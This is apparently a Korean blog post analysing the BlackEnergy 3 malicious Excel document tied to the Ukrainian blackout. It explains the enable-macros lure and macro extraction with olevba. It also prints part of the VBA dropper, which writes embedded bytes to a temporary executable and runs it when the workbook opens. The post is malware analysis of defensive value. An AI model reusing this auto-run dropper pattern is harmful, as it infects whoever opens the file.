그냥저냥

[Issue, XLS Malware] BlackEnergy 3 (우크라이나 정전 관련) 본문

Malware

[Issue, XLS Malware] BlackEnergy 3 (우크라이나 정전 관련)

ex3llo 2016. 8. 3. 01:11


* 이슈 개요

우크라이나 대규모 정전사태, 발생원인은 악성코드 블랙에너지3로 드러나
C&C 명령으로 악성행위, C&C서버 통신 데이터 복호화, 플러그인 설치 등 수행

(상세내용 기사참조 : http://www.boannews.com/media/view.asp?idx=49670)




* 전체 동작과정 요약



엑셀 문서 실행 시 아래 그림처럼 매크로 기능을 활성화 시키지 않으면 문서 내용을 볼 수 없다는 메시지가 출력되면서 

사용자가 매크로 기능을 자발적으로 활성화 시키도록 유도하고 있다.



해당 문서에 존재하는 악의적인 매크로 코드를 추출하기 위해 oletools의 olevba.py 스크립트를 이용하자.

-c 옵션은 문서파일에 존재하는 VBScript 코드만 보여주는 옵션이다. 단순히 스크립트 코드만 출력해주므로 리다이렉트 시켜서 파일로 따로 저장.

(oletools 출처 : http://www.decalage.info/python/oletools)


추출한 파일을 보면 Workbook________ 스트림 부분에 코드가 존재하는 것을 확인할 수 있다.

해당 코드는 a라는 배열에 10진수로 된 바이너리 데이터를 저장하고 있는데, 이 데이터들이 모여서 하나의 실행파일로 만들어진다.

아래 사진의 빨간 박스 부분을 보면 77 == 'M' , 90 == 'Z' 이며, PE 시그니처인 MZ를 가진 것을 확인할 수 있다.


<VBScript 코드 일부분 : 배열 데이터를 참조하여 파일 생성 및 실행>

Private Sub MacroExpl() Dim fnum As Integer Dim fname As String Dim i As Integer Dim j As Integer Dim aa As Byte Init0 Init1 Init2 Init3 Init4 Init5 Init6 Init7 Init8 Init9 Init10 Init11 Init12 Init13 Init14 Init15 Init16 Init17 Init18 Init19 Init20 Init21 Init22 Init23 Init24 Init25 fnum = FreeFile fname = Environ("TMP") & "\vba_macro.exe" '%TEMP%\vba_macro.exe 파일로 저장 Open fname For Binary As #fnum For i = 1 To 768 For j = 0 To 127 aa = a(i)(j) Put #fnum, , aa Next j Next i Close #fnum Dim rss rss = Shell(fname, 1) ' 드롭된 파일 실행 End Sub Private Sub Workbook_Activate() '문서 실행 시 MacroExpl 서브프로시저 실행 MacroExpl End Sub


Comments